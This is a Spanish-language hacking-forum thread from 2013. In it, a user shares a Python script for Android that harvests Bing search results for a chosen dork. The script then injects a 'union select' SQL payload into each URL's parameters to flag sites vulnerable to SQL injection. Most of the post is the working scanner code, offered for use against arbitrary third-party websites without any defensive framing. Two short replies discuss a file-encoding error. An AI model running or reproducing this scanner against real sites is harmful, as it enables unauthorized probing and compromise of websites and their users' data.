Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: BigBear en 1 Septiembre 2013, 21:19 PM

Título: [Python-Android] BingHack Tool 0.1
Publicado por: BigBear en 1 Septiembre 2013, 21:19 PM
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing.

El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#BingHack Tool 0.1
#Android Version
#(C) Doddy Hackman 2013

import android,urllib2,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def sql(webs):
respuesta = ""
for web in webs :
 if re.findall("=",web):
  web = re.split("=",web)
  web = web[0]+"="

  try:
   code = toma(web+"-1+union+select+1--")
   if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
    respuesta = respuesta + "[SQLI] : "+web+"\n"
  except:
   pass
return respuesta

def limpiar(pag):

limpia = []
for p in pag:
 if p not in limpia:
  limpia.append(p)
return limpia

def buscar(dork,count):

respuesta = ""

pag = []
s = 10  

while s <= int(count):
 try:
  code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
  d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
  s += 10
  for a in d:
   pag.append(a)
 except:
  pass

pag = limpiar(pag)

return pag
 
aplicacion = android.Android()

def menu():

aplicacion.dialogCreateAlert("BingHack Tool 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]

if re2==0:
 
 red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork")
 dork = str(red[1])

 red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search")
 paginas = str(red[1])

 aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...")
 aplicacion.dialogShow()

 founds = ""
 rez = ""
 rtafinal = ""

 founds = buscar(dork,paginas)

 aplicacion.dialogDismiss()

 aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...")
 aplicacion.dialogShow()

 rez = sql(founds)

 if len(rez) == 0 :
  rtafinal = "[-] Not Found"
 else :
  rtafinal = "[++] Pages Founds\n\n"
  rtafinal = rtafinal + rez
  rtafinal = rtafinal + "\n[++] Finished\n"

 aplicacion.dialogDismiss()

 aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal)
 aplicacion.dialogSetPositiveButtonText("Done")
 aplicacion.dialogShow()
 
 op = aplicacion.dialogGetResponse().result
 if op["which"] == "positive" :
  menu()

if re2==1 :
 aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013")
 aplicacion.dialogSetPositiveButtonText("Done")
 aplicacion.dialogShow()
 re3 = aplicacion.dialogGetResponse().result
 if re3["which"] == "positive" :
  menu()
 
 if re3==2:
  aplicacion.exit()

menu()

# The End ?


Eso es todo.
Título: Re: [Python-Android] BingHack Tool 0.1
Publicado por: Mtxmks en 8 Septiembre 2013, 21:12 PM
me arroja un error al tratar de correr el script

(http://img194.imageshack.us/img194/7529/egzv.png)

que hice mal?
Título: Re: [Python-Android] BingHack Tool 0.1
Publicado por: fallout20xx en 20 Septiembre 2013, 10:01 AM
es un error de codificacion, hay algun caracter que no entiende porque no es ascii, puedes poner esto al principio para que python entienda que tiene que usar otra codificacion:

# -*- coding: utf-8 -*-

o

# -*- coding: iso-8859-15 -*-

ponlo en la linea 2.